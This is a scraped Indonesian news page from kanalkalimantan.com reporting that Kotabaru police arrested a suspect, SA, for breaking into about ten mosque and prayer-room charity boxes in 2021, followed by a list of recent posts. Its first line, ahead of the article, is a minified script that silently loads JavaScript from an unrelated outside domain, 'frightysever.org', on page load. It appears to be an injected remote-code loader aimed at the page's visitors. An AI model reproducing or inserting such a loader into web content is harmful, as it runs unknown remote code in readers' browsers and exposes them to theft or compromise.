(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Pengutil Uang Wakaf Dibekuk Polres Kotabaru, SA Ngaku Gasak 10 Kotak Amal


KANALKALIMANTAN.COM, KOTABARU – Pencurian uang di dalam kotak amal kembali terjadi di Kabupaten Kotabaru.

Tak tanggung-tanggung dalam menjalankan aksi, SA beroprasi sejak Juni hingga Oktober 2021. Sedikitnya 10 kotak amal dari mushala, masjid dan satu Ruko diembat spesialis pengutil uang wakaf dan infaq itu.

Berdasarkan keterangan yang disampaikan Kasat Reskrim AKP Abdul Jalil, Selasa (26/10/2021), pihaknya mengamankan 1 tersangka inisial SA kelahiran 1979, pada Minggu (24/10/21) sekitar pukul 01.20 Wita di Taman Kota Saijaan.

Dijelaskan Kasat Reskrim Polres Kotabaru, kejadian berawal saat salah seorang saksi dari pengurus mushala Al Amin hendak melaksanakan ibadah shalat Ashar, saat melihat ke kotak amal di dalam mushala ternyata dalam kondisi rusak. Sementara uang yang ada di dalam kotak amal tersebut telah hilang.

 

Baca juga : Wali Kota Banjarbaru-Antara Digital Media Jalin Kesepakatan, Ini Bentuk Kerjasamanya

“Berdasarkan keterangan saksi, di lokasi itu sudah 3 kali terjadi pencurian kotak amal, dan dengan kondisi itu yang bersangkutan berkoordinasi dengan para pengurus masjid lainnya kemudian melaporkannya ke pihak kepolisian,” tutur AKP Abdul Jalil dalam keterangan resmi yang diterima Kanalkalimantan.com.

Kerugian ditaksir, kata Kasat Reskrim, kurang lebih mencapai Rp 3.750.000, dan tersangka dikenakan pasal 363 KUHP.
Saat ditangkap ada beberapa barang bukti yang didapatkan, 1 buah senjata tajam jenis kapak, 1 buah batang besi dan 1 unit sepeda motor.

SA melancarkan aksinya tersebut pada malam hari hingga menjelang subuh, dengan menggunakan sebuah sepeda motor roda dua yang dipinjam dari temannya.

“Setelah dilakukan pemeriksaan terhadap tersangka mengakui melakukan pencurian kotak amal dengan cara berpura-pura tidur di lokasi yang ditetapkan dan setelah masyarakat sepi, ia melakukan aksi pencurian dengan cara merusak kotak amal, dan ia juga mengakui telah menggondol uang di 10 kotak amal di berbagai lokasi,” jelas Kasat Reskrim Polres Kotabaru.

Untuk sementara, SA ditahan di rumah tahanan Mapolres Kotabaru guna menunggu proses hukumnya. (kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.